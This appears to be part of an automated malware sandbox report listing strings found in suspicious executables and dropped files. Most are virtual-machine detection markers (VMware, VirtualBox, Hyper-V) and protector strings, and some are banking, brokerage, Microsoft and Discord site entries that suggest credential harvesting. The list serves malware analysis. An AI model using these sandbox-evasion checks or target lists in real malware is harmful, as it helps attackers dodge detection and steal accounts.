Source: BGIIDAEB.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: BGIIDAEB.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: BGIIDAEB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: BGIIDAEB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 0000000C.00000002.3235833940.00000000004E8000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: 528307a0ac.exe, 0000000D.00000002.2717126137.0000000001898000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW85
Source: BGIIDAEB.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: 528307a0ac.exe, 0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarel
Source: BGIIDAEB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: BGIIDAEB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: BGIIDAEB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: BGIIDAEB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: BGIIDAEB.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: BGIIDAEB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: BGIIDAEB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: BGIIDAEB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000093C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.00000000008BC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: BGIIDAEB.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: BGIIDAEB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000093C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.00000000008BC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: explorti.exe, 0000000C.00000002.3236691594.0000000000E5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000093C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.00000000008BC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: IDGHDGIDAK.exe, 00000007.00000002.2240671621.0000000000C98000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 00000009.00000002.2275569410.00000000004E8000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000A.00000002.2283494834.00000000004E8000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000C.00000002.3235833940.00000000004E8000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: BGIIDAEB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: BGIIDAEB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: BGIIDAEB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: BGIIDAEB.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001678000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2198516833.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, Wf9qnVcbi8.exe, 00000000.00000002.2198516833.0000000001695000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 0000000C.00000002.3236691594.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, 528307a0ac.exe, 0000000D.00000002.2717126137.00000000018BE000.00000004.00000020.00020000.00000000.sdmp, 528307a0ac.exe, 0000000D.00000002.2717126137.00000000018CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: BGIIDAEB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: BGIIDAEB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: BGIIDAEB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: BGIIDAEB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 528307a0ac.exe, 0000000D.00000002.2717126137.000000000185E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BGIIDAEB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: BGIIDAEB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Wf9qnVcbi8.exe, Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: BGIIDAEB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Wf9qnVcbi8.exe, 00000000.00000002.2189641658.000000000080C000.00000040.00000001.01000000.00000003.sdmp, 528307a0ac.exe, 0000000D.00000002.2715962638.000000000078C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
